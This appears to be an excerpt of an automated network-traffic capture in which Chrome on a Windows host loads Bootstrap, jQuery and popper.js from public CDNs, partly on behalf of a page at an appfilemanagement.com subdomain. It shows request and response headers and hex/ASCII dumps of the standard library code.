2025-01-14 19:04:45 UTC	1369	IN	Data Raw: 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 42 79 Data Ascii: area/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)},C._getItemBy
2025-01-14 19:04:45 UTC	1369	IN	Data Raw: 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 67 2b 22 20 Data Ascii: atedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).removeClass(g+"
2025-01-14 19:04:45 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 73 65 22 2c 6e 3d 22 62 73 2e 63 6f 6c 6c Data Ascii: tion(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collapse",n="bs.coll

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50076	151.101.66.137	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:04:45 UTC	686	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://nbgybnlh.appfilemanagement.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://nbgybnlh.appfilemanagement.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:04:45 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1398889 Date: Tue, 14 Jan 2025 19:04:45 GMT X-Served-By: cache-lga21984-LGA, cache-ewr-kewr1740031-EWR X-Cache: HIT, HIT X-Cache-Hits: 507, 0 X-Timer: S1736881486.818011,VS0,VE1 Vary: Accept-Encoding
2025-01-14 19:04:45 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2025-01-14 19:04:45 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2025-01-14 19:04:45 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
2025-01-14 19:04:45 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2025-01-14 19:04:45 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
2025-01-14 19:04:45 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2025-01-14 19:04:45 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2025-01-14 19:04:45 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2025-01-14 19:04:45 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2025-01-14 19:04:45 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50081	104.17.24.14	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:04:46 UTC	388	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:04:46 UTC	955	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 19:04:46 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 66720 Expires: Sun, 04 Jan 2026 19:04:46 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QcNBsM7%2FKzAUTRZpL1pOAcoA5B9ZfrXwPnzkLSMPSZpmAY9jXdtJ%2FQRJ4gx2igzW98u3XrA8EW82b7WtAh1pp6eLsRQ8xg4aeKS63v2UpfI2ff5Rib621hBl2OnBZnXNea1WUEs3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 901fe4ca9ce40f89-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 19:04:46 UTC	414	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2025-01-14 19:04:46 UTC	1369	IN	Data Raw: 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 3a 72 65 74 Data Ascii: deType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':ret
2025-01-14 19:04:46 UTC	1369	IN	Data Raw: 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 72 27 2b 6f Data Ascii: o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['border'+o
2025-01-14 19:04:46 UTC	1369	IN	Data Raw: 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e 28 69 3f 6f Data Ascii: op-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return(i?o
